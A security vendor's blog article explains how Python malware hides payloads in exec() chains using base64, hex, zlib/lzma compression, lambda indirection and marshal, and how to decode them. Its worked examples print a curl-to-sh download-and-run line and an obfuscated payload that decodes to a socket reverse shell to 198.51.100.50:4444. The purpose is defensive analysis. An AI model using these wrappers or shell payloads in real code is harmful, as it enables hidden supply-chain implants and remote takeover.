Techniques14-Apr-26|12 min read

Decode Python Exec Obfuscation: Base64, Compression & Lambda Chain Patterns

Automated decoding of exec()-wrapped, lambda-indirected, and multi-layer compressed Python payloads

A dependency audit flags a PyPI package in your CI pipeline. You pull the source. One file, forty lines, and every line is an exec() call wrapping a blob of base64 that wraps a compressed blob that wraps another exec() call. Somewhere inside that nesting is a credential stealer, a reverse shell, or a supply-chain implant - but you cannot tell which without peeling back the layers. But the payload is there. It has to be. As a string literal, somewhere in the source, regardless of how many layers wrap it. That constraint is what makes automated decoding possible.

Decode Python exec chains automatically. Paste your obfuscated Python at klaroskope.com/submit - KlaroSkope resolves base64, compression, hex escapes, lambda indirection, and nested exec/eval chains in seconds.

  • What Python Exec Obfuscation Looks Like - with PyObfuscate example
  • The Encoding Techniques - base64, hex, compression, lambda indirection
  • Compression Format Identification - base64 prefix signatures for zlib, lzma, bz2, gzip
  • Execution Primitives Reference - exec, eval, compile, __import__
  • Common Obfuscated Patterns Decoded - one-liner lookup table for triage
  • Obfuscator Tool Signatures - PyObfuscate, Hyperion, Pyminifier, Kramer
  • The Decode Chain - every intermediate layer shown
  • Threat Landscape - PyPI supply chain, RATs, and advisory references
  • Decode It Automatically - before/after example with KlaroSkope

What Python Exec Obfuscation Looks Like

The simplest form is a one-liner: exec() wrapping a base64.b64decode() call that contains the entire payload as a string literal. The obfuscated code is syntactically valid Python, imports only standard library modules, and runs on any Python 3 installation without dependencies.

More sophisticated variants use lambda functions to hide the decode chain. The actual base64 or zlib import is inside a lambda, the payload string is passed as a variable, and the relationship between the decode function and the data is obscured across multiple assignments.

python
# PyObfuscate-style lambda indirection
# The payload is the large string literal, but it's NOT inside
# a function call - it's passed through a variable chain
_ = lambda __ : __import__('zlib').decompress(
    __import__('base64').b64decode(__[::-1]))
exec((_)(b'...base64 blob reversed...'))

This is why most online deobfuscators fail on Python malware. They pattern-match for b64decode("payload") and find nothing - the string literal is never a direct argument to the decode function. The lambda sits between them, and the tool gives up. The attacker is counting on that.

The Encoding Techniques

Python malware authors combine a small set of encoding primitives into multi-layer chains. Each primitive is a standard library function - no pip installs, no suspicious downloads, nothing that would flag a dependency scanner. The entire obfuscation toolkit ships with Python itself.

Base64 Encoding

Base64 is the most common encoding layer in Python exec obfuscation. The base64 module is in the standard library, the encoding is reversible, and the output looks like random characters rather than readable code. Three calling patterns appear in the wild:

python
# Pattern 1: Direct import
import base64
exec(base64.b64decode("aW1wb3J0IHNvY2tldA==").decode())

# Pattern 2: Inline __import__
exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldA=='))

# Pattern 3: Variable indirection
from base64 import b64decode as d
exec(d("aW1wb3J0IHNvY2tldA=="))

The third pattern is increasingly common because renaming b64decode to a single-letter variable defeats simple string-matching detection rules. We see it often in supply-chain samples where the author has iterated on evasion.

Hex and Bytes Encoding

Hex encoding converts each byte of the payload to its two-character hexadecimal representation. It produces longer output than base64 but has one advantage for the attacker: hex strings blend into code that legitimately handles binary data. Python offers several ways to decode hex strings back to bytes:

python
# bytes.fromhex() - most common
exec(bytes.fromhex("696d706f7274206f73").decode())

# codecs module
exec(__import__('codecs').decode("696d706f7274206f73", "hex").decode())

# bytearray constructor
exec(bytearray.fromhex("696d706f7274206f73").decode())

# Bytes literal with \x escapes
exec(b'\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73'.decode())

Bytes literals with \x escapes are the sneakiest variant. The payload is already decoded at parse time - Python's interpreter handles the hex-to-bytes conversion before execution even reaches the exec() call. No decode function appears in the source. No import is needed. The obfuscation is invisible to anything that greps for decode-related function names.

Analysis trap: Python bytes literals with \x escapes (e.g., b'\x65\x76\x61\x6c') are processed by the Python parser itself, not by a runtime function. Searching for bytes.fromhex or codecs.decode in the source will not find these payloads. Look for b' or b" followed by \x sequences.

Compression Layers

Compression serves two purposes in Python obfuscation: it reduces the encoded payload size (making the file look less suspicious) and it adds a layer that must be explicitly decompressed before the payload is readable.

python
# zlib (most common)
exec(__import__('zlib').decompress(
    __import__('base64').b64decode('eJxLSS0u0cvIz0nVAwALOgLu')))

# lzma
exec(__import__('lzma').decompress(
    __import__('base64').b64decode('/Td6WFoAAA...')))

# bz2
exec(__import__('bz2').decompress(
    __import__('base64').b64decode('QlpoOTFB...')))

# gzip
exec(__import__('gzip').decompress(
    __import__('base64').b64decode('H4sIAAAA...')))

The compression format choice is mostly a matter of obfuscator tooling preference. zlib is the most common because it produces compact output and the zlib module is available on every Python installation. lzma and bz2 are rarer but achieve higher compression ratios.

Compression Format Identification

When a base64 payload decodes to compressed bytes, the compression format determines the next decompression step. Each format leaves a distinct signature in the first few bytes of the base64 string.

Key Examples
eJz, eJx, eJy
Compression Formatzlib (default)
Raw Magic Bytes78 9C
Python Modulezlib
eNr, eNq, eNp
Compression Formatzlib (best)
Raw Magic Bytes78 DA
Python Modulezlib
/Td6
Compression Formatlzma (xz)
Raw Magic BytesFD 37 7A 58
Python Modulelzma
QlpoO
Compression Formatbz2
Raw Magic Bytes42 5A 68
Python Modulebz2
H4sI
Compression Formatgzip
Raw Magic Bytes1F 8B
Python Modulegzip

The zlib prefix varies because base64 encodes 3 bytes at a time - the third character depends on the first byte of compressed data, not just the magic header. In practice, eJ (default compression, 78 9C) and eN (best compression, 78 DA) cover the vast majority of samples. If a base64 string starts with eA, that's zlib with no compression (78 01) - rare in malware because it defeats the purpose.

Bookmark this table. When you encounter a base64 blob inside an exec() chain, the first two characters of the base64 string tell you what decompression to apply after decoding. eJ or eN means zlib. H4 means gzip. No guessing required.

Lambda Indirection

Lambda indirection is the boundary between single-layer wrappers and tooled obfuscation. Instead of calling base64.b64decode() directly on a string literal, the decode function is wrapped in a lambda, and the payload is passed through a variable chain:

python
# Simple lambda indirection
_ = lambda __ : __import__('base64').b64decode(__)
exec((_)(b'aW1wb3J0IHNvY2tldA=='))

The lambda obscures the relationship between the decode function and the payload. Static analysis tools that match patterns like b64decode("...") will miss this because the string is never a direct argument to b64decode - it flows through the lambda's parameter. More aggressive variants nest lambdas or use string reversal inside the chain:

python
# Reversed payload inside lambda
_ = lambda __ : __import__('zlib').decompress(
    __import__('base64').b64decode(__[::-1]))
exec((_)(b'...payload reversed...'))

# Nested lambda chain - inner decodes base64, outer decompresses
__ = lambda ___ : __import__('base64').b64decode(___)
_ = lambda ___ : __import__('zlib').decompress(__(___)
exec(_(b'eJzLzC3ILypRyC+2zi...'))

We see the nested pattern regularly in PyObfuscate output. The underscore variable names make it harder to trace which lambda does what, but the structure is consistent: inner lambda handles decoding, outer lambda handles decompression, and the exec() call at the end triggers execution.

Python exec obfuscation has evolved through three generations. The first generation used single-layer base64 or hex wrapping - once effective, now caught by most scanners. The second generation introduced lambda indirection and compression chains (PyObfuscate, Pyminifier), defeating the pattern-matching rules written to catch generation one. The third generation added marshal serialisation with polymorphic XOR and multi-format compression, evading nearly all signature-based detection. Most PyPI supply-chain malware currently sits at generation two - the tools are freely available and the detection gap is still wide enough.

Marshal Serialisation

marshal is Python's internal serialisation format for bytecode objects. Obfuscators use it to serialize compiled code objects, which can be loaded and executed without the source code being present as readable text:

python
import marshal
exec(marshal.loads(base64.b64decode("4wAAAAAAAA...")))

Marshal payloads are version-specific - a marshal blob compiled with Python 3.10 may not load on Python 3.12. This limits the portability of marshal-based obfuscation, which is why most malware authors combine it with base64 or compression rather than using it as the sole encoding layer.

Execution Primitives Reference

Every Python exec obfuscation chain terminates in an execution primitive - a function that takes a string or code object and runs it. Without one of these, the decoded payload is just data.

Key Examples
exec()
AcceptsString, bytes, code object
Usage Patternexec(decoded_string)
NotesMost common. Executes statements.
eval()
AcceptsString expression
Usage Patterneval(decoded_expression)
NotesEvaluates expressions only. Used for single-line payloads.
compile()
AcceptsString + mode
Usage Patternexec(compile(s, '<string>', 'exec'))
NotesCompiles to code object first. Adds a layer.
__import__()
AcceptsModule name
Usage Pattern__import__('os').system('cmd')
NotesInline import without import statement.
importlib
AcceptsModule spec
Usage Patternimportlib.import_module('os')
NotesLess common, same effect as __import__.

These primitives convert strings to code. Once the payload is decoded and executed, it typically calls os.system(), subprocess.Popen(), or subprocess.call() to launch shell commands, download second-stage payloads, or establish reverse shells. We've seen samples where the entire obfuscation chain exists solely to hide a single os.system("curl ... | sh") call.

Common Obfuscated Patterns Decoded

When triaging a flagged Python file, these are the one-liners you will encounter most often. Each row shows the obfuscated pattern and what it actually does.

Key Examples
exec(base64.b64decode("..."))
What It DoesDecodes base64 string and executes as Python code
exec(__import__('base64').b64decode('...'))
What It DoesSame, but avoids a visible import statement
exec(bytes.fromhex("...").decode())
What It DoesDecodes hex string and executes as Python code
exec(compile(base64.b64decode("..."), '<string>', 'exec'))
What It DoesDecodes, compiles to code object, then executes
exec(marshal.loads(base64.b64decode("...")))
What It DoesDecodes base64 to bytecode, then executes directly
exec(__import__('zlib').decompress(__import__('base64').b64decode('...')))
What It DoesDecodes base64, decompresses zlib, then executes
_ = lambda __ : ...; exec((_)(b'...'))
What It DoesLambda indirection - decode function hidden in lambda
exec((_)(b'...'[::-1]))
What It DoesPayload string is reversed before decoding
__import__('os').system('...')
What It DoesDirect OS command execution without import statement
__import__('subprocess').Popen(['...'])
What It DoesSpawns a subprocess without import statement

Obfuscator Tool Signatures

Different obfuscation tools leave distinct fingerprints in their output. Recognising these signatures helps identify the tool used and predict the encoding chain.

Key Examples
PyObfuscate
Fingerprint_ = lambda __ variable names
Typical PatternLambda indirection + __import__() + reversed base64 + zlib compression
Hyperion
Fingerprint__obfuscator__ = 'Hyperion' metadata, hex variable names (_0x...)
Typical PatternRaw bytes literal + multi-layer compression + marshal
Pyminifier
FingerprintDirect inline __import__ chains
Typical Patternexec(__import__('zlib').decompress(__import__('base64').b64decode("..."))) - no lambda
Kramer
FingerprintMulti-stage exec nesting
Typical PatternNested exec() calls with base64 at each layer, used by PureHVNC
Mr.X
Fingerprint#Obfuscate by Mr.X header comment
Typical PatternBase64 + hex encoding, signature header in source
Custom/manual
FingerprintNo consistent markers
Typical PatternSingle exec(base64.b64decode("...")) or exec(bytes.fromhex("..."))

The Decode Chain

Multi-layer Python obfuscation wraps the payload in successive encoding layers. Each layer must be removed in order - outer layer first - to reach the original code. Here is a 4-layer chain with verified intermediate output at every step:

text
Layer 0 (Original input):
exec(__import__('zlib').decompress(__import__('base64').b64decode(
  b'HLRAQBABSDlzps6zOzUTK9E01MD0wQzMUXzMQTLt3ct0wmSKogcUK3iLKBV1NnkLs46KW/iz2+CyRpyLI3CzLzJe'
  [::-1])))

Layer 1 (Extract and reverse the payload string):
eJzLzC3ILypRyC+2zi/WK64sLknN1VBKLi3KUcgoKSmw0tc3tLTQMzXUMzQw0DM10E9KTUzOz6spzlDSBABQARLH

Layer 2 (Base64 decode):
78 9c cb cc 2d c8 2f 2a 51 c8 2f b6 ce 2f d6 2b ...
(66 bytes, zlib magic: 78 9c)

Layer 3 (zlib decompress):
import os;os.system("curl http://198.51.100.50/beacon|sh")

The decode order follows the nesting: the outermost wrapper (exec) is stripped first, then string reversal ([::-1]), then base64, then zlib. Each layer reveals the next encoding to remove.

KlaroSkope's iterative pipeline handles this automatically. It does not need to understand the specific function chain or lambda structure - it identifies the encoded payload, applies matching decoders, and repeats until no more encoding layers remain. A 6-layer nested exec chain decodes the same way as a single-layer base64 wrapper. Paste any Python exec chain at klaroskope.com/submit and see each layer resolved.

Threat Landscape

Python exec obfuscation is overwhelmingly concentrated in two threat categories: PyPI supply-chain attacks and Python-based RATs/stealers.

Phylum and ReversingLabs documented the W4SP Stealer campaign (2022), which distributed credential-stealing malware through typosquatted PyPI packages affecting over 45,000 users. The packages used exec/eval wrapping with base64 encoding - the same patterns described above, deployed at scale across dozens of package names. Checkmarx identified BlazeStealer (2023) targeting developers who searched PyPI for obfuscation tools. The irony was precise: the malware was embedded in the obfuscation packages themselves.

ESET's survey documented 116 malicious PyPI packages across 53 projects, most using exec chains with varying levels of lambda indirection. On the RAT side, Fortinet documented PureHVNC (2024) using multi-stage Kramer obfuscation with nested exec layers. SANS ISC identified NiroRAT (2025) with polymorphic XOR+zlib+marshal chains that achieved 2/64 antivirus detection at disclosure. 2 out of 64 engines. That is what multi-layer obfuscation buys the attacker.

The MITRE ATT&CK framework maps Python exec obfuscation across multiple techniques: T1059.006 (Command and Scripting Interpreter: Python), T1027 (Obfuscated Files or Information), T1195.001 (Supply Chain Compromise: Compromise Software Dependencies), and T1204.002 (User Execution: Malicious File). Supply-chain attacks via PyPI additionally map to T1195.002 (Compromise Software Supply Chain).

If you find obfuscated Python on a production server or in a dependency tree, assume compromise. Decode the payload to understand what it does - credential theft, reverse shell, data exfiltration - but the presence of obfuscated exec chains in a Python package or script is itself the indicator. Legitimate Python code does not wrap its functionality in base64-encoded exec calls.

Decode It Automatically

Here is a PyObfuscate-style lambda chain with base64 and zlib compression. The reversed base64 payload, the lambda indirection, the inline __import__ calls - this is a pattern we see in PyPI supply-chain samples regularly.

python
# INPUT: Obfuscated Python (PyObfuscate pattern)
_ = lambda __ : __import__('zlib').decompress(
    __import__('base64').b64decode(__[::-1]))
exec((_)(b'=MUMGTRAdnaLqBh+ZfE9cyi/TvoAnfgA6/0CaBGPYXpLw/z0YVtJJVbrwG/ybk13uAu9x9uBDw5VuBRM7SJzsUsRGPggaoWPNlvKPZdlPdp5ef/m8TRl/1rJCdGEghz001bwcTIowOhTgo0si8aRQAjwKEEjFxJe'))
python
# OUTPUT: Decoded payload
import socket;s=socket.socket();s.connect(("198.51.100.50",4444));
import subprocess;p=subprocess.Popen(["/bin/sh","-i"],
stdin=s,stdout=s,stderr=s)

The lambda obscured the decode function. The [::-1] reversed the base64 string. The base64 encoded a zlib-compressed blob. Four layers deep, and the result is a reverse shell connecting to 198.51.100.50 on port 4444. The IOC extraction then pulled the IP address and port for incident response - the artifacts that matter for containment. Paste your obfuscated Python at klaroskope.com/submit and see the decoded result in seconds.

Try it now --> klaroskope.com/submit - paste any obfuscated Python and see the decoded result in seconds.

Frequently Asked Questions

Q

What is Python exec obfuscation?

Python exec obfuscation wraps malicious Python code inside exec() or eval() calls after encoding the payload with base64, hex encoding, compression (zlib, lzma, bz2), or combinations of these. The encoded payload is a string literal in the source file. When executed, Python decodes the string and runs the hidden code. This technique is the most common delivery method documented in malicious PyPI packages and Python-based malware.
Q

How do I decode an obfuscated Python exec chain?

Never execute the code to decode it - that runs the malicious payload. Instead, use static analysis to extract the encoded string, then decode each layer manually (base64, decompress, etc.) or use an automated tool like KlaroSkope that handles multi-layer chains. The key insight: the payload is nearly always the largest string literal in the file. Extract it, decode it, and repeat until you reach readable Python.
Q

What is lambda indirection in Python malware?

Lambda indirection wraps the decode function (e.g., base64.b64decode) inside a lambda expression, then passes the payload through a variable chain instead of as a direct argument. This defeats static analysis tools that search for patterns like b64decode("payload"). The PyObfuscate tool popularised this technique, using underscore variable names (_, __, ___) and inline __import__() calls.
Q

What MITRE ATT&CK techniques cover Python exec obfuscation?

T1059.006 (Python scripting), T1027 (Obfuscated Files), T1140 (Deobfuscate/Decode), T1195.001 (Supply Chain: Software Dependencies), and T1204.002 (Malicious File). PyPI supply-chain attacks additionally map to T1195.002.
Q

What does exec(__import__('base64').b64decode(...)) mean in a Python file?

It means the file contains obfuscated code. The exec() function executes whatever string it receives as Python code. The __import__('base64').b64decode(...) decodes a base64-encoded string without a visible import statement. Together, they decode a hidden payload and run it immediately. This pattern is the most common obfuscation wrapper in malicious PyPI packages and Python-based malware. If you find it in a Python file, decode the base64 string to see what it actually does - but never run the file.
Q

How can I tell if a Python file is obfuscated?

Look for these indicators: exec() or eval() wrapping encoded content, __import__() calls (especially for base64, zlib, marshal, codecs), lambda functions with underscore variable names, large string literals (base64 or hex), and [::-1] string reversal. Legitimate Python code rarely uses exec() on encoded strings.
Q

What is the difference between exec() and eval() in Python obfuscation?

exec() executes statements (full programs, multi-line code, imports, function definitions). eval() evaluates a single expression and returns its value. Most Python malware uses exec() because payloads typically contain multiple statements. eval() appears in simpler payloads or when the result needs to be assigned to a variable.
Q

What compression formats do Python obfuscators use?

zlib is the most common, followed by lzma, bz2, and gzip. All are in Python's standard library, requiring no external dependencies. The compression format can be identified from the base64 prefix before decoding: eJ or eN indicates zlib, /Td6 indicates lzma, QlpoO indicates bz2, and H4sI indicates gzip. See the Compression Format Identification table above for the full reference.
Q

Are Python exec-obfuscated files detected by antivirus?

Detection rates vary significantly. Simple single-layer base64 wrappers are caught by most modern AV engines. However, multi-layer chains with compression and lambda indirection can achieve very low detection rates. SANS ISC documented NiroRAT (2025) achieving 2/64 AV detection at disclosure using polymorphic XOR+zlib+marshal chains. The obfuscation layers effectively prevent signature-based detection.
Q

What is marshal in Python obfuscation?

marshal is Python's internal serialisation module for code objects. Obfuscators compile source code to bytecode, serialise it with marshal.dumps(), encode the result (usually base64), and wrap it in exec(marshal.loads(...)). The payload is bytecode rather than source code, making it harder to read even after decoding. However, marshal is version-specific - a blob from Python 3.10 may fail on 3.12.

Found this useful? Sharing is caring!

Ready to decode?

See KlaroSkope transform obfuscated scripts into actionable intelligence.

Try It Free